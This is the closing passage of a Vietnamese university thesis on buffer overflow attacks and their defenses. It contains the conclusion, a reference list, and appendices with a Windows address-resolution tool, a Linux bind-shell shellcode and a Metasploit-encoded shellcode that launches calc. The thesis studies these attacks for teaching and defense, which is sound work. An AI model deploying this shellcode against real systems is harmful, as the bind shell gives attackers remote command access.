SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 60
KẾT LUẬN
Tấn công khai thác lỗi tràn bộ đệm trong phần mềm đã được biết đến từ lâu và là
một trong các dạng tấn công phổ biến và gây nhiều tác hại to lớn. Đồ án nghiên cứu về
cơ chế tấn công khai thác lỗi tràn bộ đệm trong phần mềm và các phương pháp phòng
chống. Cụ thể, đồ án đã thực hiện được các nội dung sau:
Nghiên cứu khai quát về an toàn, bảo mật hệ thống thông tin, các điểm yếu và
các dạng tấn công thường gặp.
Nghiên cứu sâu về cơ chế quản lý bộ nhớ, cơ chế xảy ra lỗi tràn bộ đệm trong
các phần mềm.
Nghiên cứu sâu về cơ chế tấn công khai thác lỗi tràn bộ đệm.
Tìm hiểu các phương pháp tạo và sử dụng mã độc chèn vào bộ đệm và thực
hiện.
Nghiên cứu các phương pháp phòng chống tấn công khai thác lỗi tràn bộ đệm.
Xây dựng demo tấn công khai thác lỗi tràn bộ đệm trên các hệ điều hành nền
Linux và Windows XP.
Hướng phát triển đề tài:
Trong phạm vi của đồ án chuyên ngành, các nội dung nghiên cứu được đã cơ bản
đạt được các yêu cầu đề ra ban đầu. Bản thân cá nhân em xin đề xuất một số hướng
phát triển của đề tài nhằm phục vụ mục đích học tập, nghiên cứu như sau:
- Nghiên cứu cơ chế tràn bộ đệm trên Heap và cách thức tấn công tràn bộ đệm
trên Heap
- Nghiên cứu cơ chế tấn công tràn bộ đệm đặt mã thực thi trên biến môi trường.
- Nghiên cứu thêm một số kỹ năng xây dựng mã Shellcode.
- Nghiên cứu các kỹ thuật tấn công vượt qua các cơ chế bảo vệ tấn công tràn bộ
nhớ đệm của hệ thống.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Phụ lục
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 61
PHỤ LỤC
Phụ lục 1: arwin.c
#include <windows.h>
#include <stdio.h>
/***************************************
arwin - win32 address resolution program
by steve hanna v.01
***************************************/
int main(int argc, char** argv)
{
HMODULE hmod_libname;
FARPROC fprc_func;
printf("arwin - win32 address program - steve hanna - v.01\n");
if(argc < 3)
{
printf("%s <Library Name> <Function Name>\n",argv[0]);
exit(-1);
}
hmod_libname = LoadLibrary(argv[1]);
if(hmod_libname == NULL){
printf("Error: could not load library!\n");
exit(-1);
}
fprc_func = GetProcAddress(hmod_libname,argv[2]);
if(fprc_func == NULL)
{
printf("Error: could find the function in the library!\n");
exit(-1);
}
printf("%s is located at 0x%08x in %s\n",argv[2],
(unsigned int)fprc_func,argv[1]);
}
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Phụ lục
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 62
Phụ lục 2: Shellcode Bind Port open Socket
/*
1 ############################################################### 1
0 I'm Magnefikko member from Inj3ct0r Team & Promhyl Studies Team 1
1 ############################################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
by Magnefikko
05.07.2010
Promhyl Studies :: http://promhyl.tk
Subgroup: #PRekambr
Name: 97 bytes bind sh@64533
Platform: Linux x86
sock = socket(PF_INET, SOCK_STREAM, 0);
bind(sock, *[2, 64533, 0], 16);
listen(sock, 5);
nsock = accept(sock, 0, 0);
dup2(nsock, 0);
dup2(nsock, 1);
execve("/bin/sh", 0, 0); // http://promhyl.tk/index.php?a=art&art=83
shellcode:
\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6
a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x
cd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\
x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0
b\x59\xcd\x80
*/
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Phụ lục
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 63
Phụ lục 3: Shellcode open Calculator.exe
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode .
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Tài liệu tham khảo
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 64
TÀI LIỆU THAM KHẢO
DANH MỤC CÁC SÁCH, EBOOK THAM KHẢO
[1] Dick Steflik, Buffer Overflow Exploits CS480b, http://www.cs.binghamton.edu/,
truy nhập tháng 10.2013.
[2]Aleph One, Smashing stack for fun and profit 1st, Phrack Magazine 49, 1996.
[3] Hoàng Xuân Dậu, Bài giảng an toàn bảo mật HTTT, Học viện công nghệ bưu
chính viễn thông, 2013.
[4] Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole Crispin Cowan,
Buffer Overflows:Attacks and Defenses for the Vulnerability of the Decade*, 2000.
[5] Chris Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security
Holes 2nd, 08.2007.
[6] Hagen Fritsch, Buffer overflows on linux-x86-64, Technische University at
Munchen, 01.2009
DANH MỤC CÁC WEBSITE THAM KHẢO
[7] Cert.org, http://www.cert.org/advisories/CA-2003-20.html, tham khảo tháng 09.2013.
[8] Cert.org, http://www.cert.org/advisories/CA-2001-19.html, tham khảo tháng 09.2013.
[9] Cert.org, http://www.cert.org/advisories/CA-2001-26.html, tham khảo tháng 09.2013.
[10] Wikipedia Code_Segment, http://en.wikipedia.org/wiki/Code_segment, tham khảo tháng
09.2013
[11] Wikipedia Data_Segment, http://en.wikipedia.org/wiki/Data_segment, tham khảo tháng
09.2013.
[12] Wikipedia Information_systems, http://en.wikipedia.org/wiki/Information_systems,
tham khảo tháng 09.2013
[13] Bluemaster syscall, http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html, tham
khảo tháng 09.2013.
[14] Wikipedia Morris_worm, http://en.wikipedia.org/wiki/Morris_worm, tham khảo tháng
10.2013.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Tài liệu tham khảo
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 65
[15] Vividmachines shellcode, www.vividmachines.com/shellcode/shellcode.html, tham khảo
tháng 10.2013.
[16] Eyelublog, http://eyelublog.wordpress.com/2013/02/13/the-linux-programming-
interface-%E7%AC%94%E8%AE%B0-%E4%B8%89/, tham khảo tháng 10.2013.
[17] Vivimachines Steve Hanna, www.vividmachines.com/shellcode/arwin.c, tham khảo
tháng 10.2013.
[18] Bconizance, bcognizance.iiita.ac.in/?p=699, tham khảo tháng 10.2013.
[19] Wikipedia Register, en.wikipedia.org/wiki/Register, tham khảo tháng 10.2013.
[20] Tenouk, tenouk.com/Bufferoverflowc/bufferoverflowvulexploitdemo3.html, tham khảo
tháng 10.2013.
[21] Wikipedia Code_Red_(computer_worm),
http://en.wikipedia.org/wiki/Code_Red_(computer_worm), tham khảo tháng 11.2013.
[22] Ceh.vn Shellcode, http://ceh.vn/@4rum/showthread.php?tid=2861, tham khảo tháng
10.2013.